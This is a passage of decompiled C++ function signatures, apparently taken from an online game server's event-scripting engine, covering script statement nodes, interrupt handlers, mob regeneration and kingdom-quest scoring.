PineEventScriptNode::ArgumentList *argumentlist); char __thiscall AxialListObjectList::ali_Work(AxialListObjectList *this, #331 *, #331 *, unsigned int); PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_ChineCastCut(DiceTaiSaiDividind *this); void __thiscall AxialListKQResult::_AxialListKQResult(AxialListKQResult *this); char __thiscall AxialListKQResult::ali_Work(AxialListKQResult *this, #331 *, #331 *, unsigned int); char __thiscall AxialListKQResult::defaultWorker(AxialListKQResult *this, #331 *, #331 *, unsigned int); char __thiscall AxialListKQResult::zerosumWorker(AxialListKQResult *this, #331 *, #331 *, unsigned int); void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array); void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDistance::sfb_Calculate(PineEventScriptNode::SysFuncShineDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShinePlayerInArea::sfb_Calculate(PineEventScriptNode::SysFuncShinePlayerInArea *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func); void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *this, #331 *), char (__thiscall *workerFunction)(AxialListKQResult *this, #331 *, #331 *, unsigned int), int basepoint, int limitScore); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate(PineEventScriptNode::SysFuncShineKQTop *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineIsGateUse::sfb_Calculate(PineEventScriptNode::SysFuncShineIsGateUse *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetWinnerGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetLoseGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this); void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this); int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2); OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map); void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this); char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index); void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this); void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index); char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map); PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); char __thiscall Movie::Theater::t_AllOfRange(Movie::Theater *this, unsigned int event, SHINE_XY_TYPE *center, int range, FanFormSectorArgument *fansector, AxialListIterator *ala, char tome, unsigned __int16 excepter); void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag); void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout); void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this); void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this); void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this); void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this); void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this); void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this); void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this); void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this); void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this); void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this); void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this); void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this); void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this); void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this); void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this); void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this); void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this); void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this); void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this); void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this); void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this); void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this); void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this); void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this); void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this); void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this); void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this); void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this); void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this); void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this); void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this); void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this); void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this); void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this); void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this); void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this); void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this); void __thiscall PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this); void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this); void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this); void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this); void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this); void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this); void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this); void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this); void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this); void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this); void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this); void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this); void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this); void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this); void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this); void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this); void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this); void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this); void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this); void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this); void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this); void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this); void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this); void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this); void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this); void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this); void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this); void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this); void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this); void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this); void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this); void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this); void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this); void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this); void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this); void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this); void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this); void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this); void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this); void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this); void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this); void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this); void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this); void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this); void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this); void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this); void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq); void 